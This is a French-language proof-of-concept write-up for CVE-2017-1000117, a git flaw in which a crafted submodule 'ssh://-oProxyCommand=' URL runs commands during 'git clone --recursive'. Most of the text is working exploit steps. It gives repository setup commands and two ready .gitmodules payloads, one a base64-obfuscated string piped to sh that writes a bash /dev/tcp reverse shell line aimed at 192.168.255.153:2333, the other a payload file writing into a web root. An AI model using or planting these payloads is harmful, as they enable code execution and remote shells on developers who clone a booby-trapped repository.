
Preuve de concept pour CVE-2017-1000117 : exécution de code à distance via une URL SSH malveillante de sous-module git, permettant la livraison d'une charge utile de shell inversé lors des opérations de clonage récursif.
Des personnes malveillantes peuvent amener une victime à accéder à un lien « ssh://… » spécialement conçu, par exemple lors de l'exécution d'un programme, afin d'exécuter des commandes. Ce lien peut être placé dans le fichier .gitmodules d'un projet Git. Ainsi, lorsque la victime effectue une opération git clone –recurse-submodules / git clone --recursive sur un projet, un problème de sécurité est déclenché.
Préparation :
En ligne de commande Linux, tapez : printf 'a' >> /tmp/pwned.txt On constate que le fichier pwned.txt est créé dans le répertoire tmp, avec pour contenu a.
git init
git remote add origin https://github.com/leezp/CVE-2017-1000117.git
git pull origin master
git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1
([submodule "sub1"] path = sub1 url = https://github.com/leezp/CVE-2017-1000117.git // Crée les deux sous-répertoires de sous-modules sub1 et name2)
git submodule add https://github.com/leezp/CVE-2017-1000117.git name2
git add .
git commit -m '1'
git push -u origin master
Il existe deux méthodes de création :
Première méthode : Ouvrez le fichier .gitmodules et modifiez son contenu (il suffit de modifier le premier bloc, car seul l'exploit du premier sous-module sera exécuté ; deux blocs sont créés ici parce qu'il arrive qu'un seul ne soit pas exécuté, et je n'ai pas creusé la raison exacte pour le moment).
[submodule "name1"]
path = name1
url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
[submodule "sub2"]
path = sub2
url = https://github.com/leezp/CVE-2017-1000117.git
(Voir le fichier .gitmodules.bak1 pour plus de détails.) La première méthode ne nécessite pas de fichier payload.
Deuxième méthode : Ouvrez le fichier .gitmodules et modifiez son contenu (il suffit de modifier le premier bloc).
[submodule "sub1"]
path = sub1
url = ssh://-oProxyCommand=sh<payload/wat
[submodule "name2"]
path = name2
url = https://github.com/leezp/CVE-2017-1000117.git
(Voir le fichier .gitmodules pour plus de détails.)
Cette méthode nécessite l'utilisation d'un fichier payload. Dans le fichier payload, entrez : printf 'sss' > /var/www/html/vul
Attention La commande git clone doit être utilisée sous l'une des deux formes suivantes :
git clone --recursive url
git clone --recurse-submodules url
Si vous utilisez simplement git clone, le dépôt sera téléchargé normalement sans fichier supplémentaire ; la condition de déclenchement de la vulnérabilité est donc assez stricte.